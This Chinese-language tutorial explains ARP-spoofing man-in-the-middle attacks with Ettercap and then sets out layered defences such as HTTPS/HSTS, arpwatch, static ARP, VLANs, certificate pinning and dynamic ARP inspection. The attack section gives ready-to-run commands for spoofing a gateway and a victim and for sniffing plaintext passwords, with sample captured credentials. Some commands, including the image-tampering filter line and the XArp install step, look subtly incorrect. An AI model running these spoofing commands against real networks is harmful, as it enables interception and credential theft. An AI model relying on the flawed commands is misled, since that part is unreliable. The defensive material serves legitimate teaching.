网络安全入门攻击与防御实战（二）

攻击原理剖析：

中间人攻击（Man-in-the-Middle Attack）通过劫持通信双方的流量实现数据窃取或篡改。ARP欺骗是经典MITM实现方式：

攻击流程： 1. 攻击者伪造ARP响应包，欺骗目标设备将攻击者MAC地址绑定到网关IP 2. 受害设备所有流量经攻击者主机转发（双向流量劫持） 3. 攻击者可进行流量嗅探/篡改/重定向

Ettercap核心优势：

图形化/命令行双模式操作支持ARP/DNS/DHCP等多种欺骗方式集成插件实现密码抓取、会话劫持等高级功能

---

1. Ettercap实战：ARP欺骗攻击演示 环境准备 # Kali Linux安装Ettercap sudo apt install ettercap-graphical # 启用IP转发（避免目标网络中断） echo 1 > /proc/sys/net/ipv4/ip_forward 攻击指令详解

ARP欺骗启动（命令行模式）：

ettercap -T -i eth0 -M arp:remote /192.168.1.1// /192.168.1.100//

-T：使用文本界面-i：指定网卡接口-M arp:remote：启用双向ARP欺骗//分隔符前后分别为网关IP和受害者IP

流量嗅探与劫持：

# 实时捕获HTTP明文密码 ettercap -T -q -i eth0 -P remote_browser # 修改传输中的图片文件（需加载插件） ettercap -T -i eth0 --plugin mitm_plugin --filter "*.jpg" 实战结果示例

[HTTP] 192.168.1.100 -> login.example   USER: admin  PASS: P@ssw0rd123 [DNS] 伪造响应： .taobao -> 攻击者IP

---

2. 防御体系构建：5层防护策略 1. 强制HTTPS加密传输

Let's Encrypt免费证书部署：

# Nginx配置示例 server { listen 443 ssl; ssl_certificate /etc/letsencrypt/live/example /fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/example /privkey.pem; add_header Strict-Transport-Security "max-age=63072000" always; } 2. ARP监控与告警

ARPwatch实时检测：

sudo apt install arpwatch sudo systemctl start arpwatch # 查看异常日志 grep "changed ethernet address" /var/log/arpwatch.log

XArp可视化工具：

# 图形化界面安装 sudo apt install xarp

3. 静态ARP绑定 # Linux永久静态ARP绑定 arp -s 192.168.1.1 00:11:22:33:44:55 # Windows命令行绑定 netsh interface ipv4 add neighbors "以太网" 192.168.1.1 00-11-22-33-44-55

4. 网络分段隔离 # 使用VLAN划分网络 switch(config)# vlan 10 switch(config-vlan)# name Finance_Dept

5. 证书锁定（Certificate Pinning）

Android代码示例：

CertificatePinner certificatePinner = new CertificatePinner.Builder() .add("api.example ", "sha256/AAAAAAAAAAAAAAAAAAAAAAAA=") .build();

---

3. 攻击特征分析（Wireshark抓包对比） 特征项正常网络ARP欺骗攻击ARP包频率低频请求高频异常响应MAC-IP映射固定对应关系多IP映射同一MAC流量模式直接路由经第三方设备转发DNS响应权威服务器返回攻击者伪造响应协议类型加密流量占比高明文协议占比突增

---

4. 企业级防护方案

    动态ARP检测（DAI）：

Switch(config)# ip arp inspection vlan 10 Switch(config)# ip arp inspection validate src-mac dst-mac ip

    802.1X认证：

# FreeRADIUS服务器配置 authorize { preprocess auth_log eap { ok = return } pap }

     全流量加密：

部署IPSec VPN隧道启用WireGuard等新型加密协议  

     终端防护：

CrowdStrike等EDR工具检测异常网络行为定期进行ARP表健康检查

---

本章技术总结 攻击维度防御措施实施复杂度数据窃听HTTPS全站加密★★☆☆☆ARP欺骗DAI动态检测★★★★☆会话劫持证书锁定技术★★★☆☆网络层802.1X端口认证★★★★☆

---

扩展学习：

使用Wireshark分析SSL/TLS握手过程基于SPAN端口部署IDS检测异常ARP流量企业级网络架构中的微隔离技术